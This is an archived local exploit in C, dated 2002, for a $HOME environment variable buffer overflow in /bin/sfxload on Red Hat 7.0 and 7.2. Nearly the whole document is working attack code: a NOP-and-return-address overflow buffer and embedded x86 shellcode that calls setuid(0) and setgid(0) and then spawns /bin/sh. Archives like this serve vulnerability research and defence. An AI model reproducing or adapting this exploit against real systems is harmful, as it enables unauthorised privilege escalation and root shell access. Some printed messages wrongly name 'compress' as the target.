Local proof of concept for non-setuid binary /bin/sfxload which overflows the $HOME environment variable. Tested on Red Hat 7.0 and 7.2. Other setuid programs may call this binary, leading to privilege escalation.
fba83a1d7358cb4bbde5773a64e9b9700c008093044e9eb8b18d983f0b18adb3
/*
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Web: https://qb0x.net Author: Gabriel A. Maggiotti
Date: December 29, 2002 E-mail: gmaggiot@ciudad.com.ar
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This is a proof of concept exploit for sfxload. sfxload user $HOME
environment variable without checking it size.
This exploit takes advantage from this bug and put a shellcode inside $HOME.
*/
#include <stdio.h>
#define OFFSET 284
#define NOP 0x90
#define RET_70 0xbffff840
#define RET_72 0xbffff900
int get_sp(void) {
__asm__("movl %esp, %eax");
}
int
main(int argc, char *argv[])
{
int i=0; char buf[OFFSET];
int c, ret;
unsigned char shellcode1[] =
"\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" // alarm(0);
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0);
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80" // setgid(0);
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
if(argc != 2) {
fprintf(stderr,"usage: %s <os_type> \n",argv[0]);
fprintf(stderr,"types:\n RedHat 7.0 - [1]");
fprintf(stderr,"\n RedHat 7.2 - [2]\n\n");
return 1;
}
c=atoi(argv[1]);
switch(c) {
case 1:
printf("Exploiting compress for RedHat 7.0\n");
ret = RET_70 - OFFSET ;
break;
case 2:
printf("Exploiting compress for RedHat 7.2\n");
ret = RET_72 - OFFSET;
break;
}
for(i=0;i<=OFFSET-1 ;i++)
buf[i]='A';
*(int *) &buf[i] = ret;
memcpy(buf+100,shellcode1,strlen(shellcode1));
setenv("HOME",buf,1);
execl("/bin/sfxload", "/bin/sfxload", NULL, NULL);
return 0;
}
/*
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